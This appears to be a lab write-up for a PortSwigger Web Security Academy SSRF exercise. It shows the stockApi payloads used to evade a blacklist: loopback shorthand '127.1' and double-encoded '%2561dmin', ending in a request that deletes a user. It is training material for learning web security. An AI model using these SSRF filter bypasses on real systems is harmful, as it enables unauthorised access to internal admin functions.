| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | SSRF — Blacklist Bypass |
| Difficulty | Practitioner |
| Objective | Bypass two anti-SSRF defenses to reach http://localhost/admin and delete carlos |
SSRF with Blacklist-Based Input Filter — Writeup¶
Initial Observation¶
Intercepting the stock check request:
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1%26storeId=1
(%26 is & URL-encoded)
Identifying the Blacklist¶
Trying stockApi=http://localhost/admin:
Response: External stock check blocked for security reasons
localhost is blocked. Testing every IP representation of 127.0.0.1 — the whole 127.x.x.x range routes to loopback, not just 127.0.0.1:
http://127.0.0.1/admin → blocked
http://127.215.19.167/admin → blocked
http://127.0.1/admin → blocked
http://127.1/admin → blocked
All blocked. Trying numeric representations:
http://0x7f000001/admin → blocked (hex)
http://2130706433/admin → blocked (decimal)
The IP filter is thorough. Shifting focus — maybe /admin is also on the blacklist.
Bypassing the /admin Filter — Double URL Encoding¶
If the filter is checking for the string admin before decoding, double URL-encoding a single character can slip past it. URL-encoding a gives %61. URL-encoding % gives %25. So double-encoding a gives %2561 — the filter sees %2561, doesn't recognize admin, passes the check. The server then decodes once more when making the actual request and gets %61dmin → admin.
Testing stockApi=http://127.1/%2561dmin:
200 OK — the admin panel is accessible. 127.1 bypasses the IP filter (valid loopback shorthand that wasn't on the blocklist), and %2561dmin bypasses the /admin filter via double encoding.
Deleting Carlos¶
stockApi=http://127.1/%2561dmin/delete?username=carlos
302 Found ... follow redirect will delete carlos account and get the lab solved :P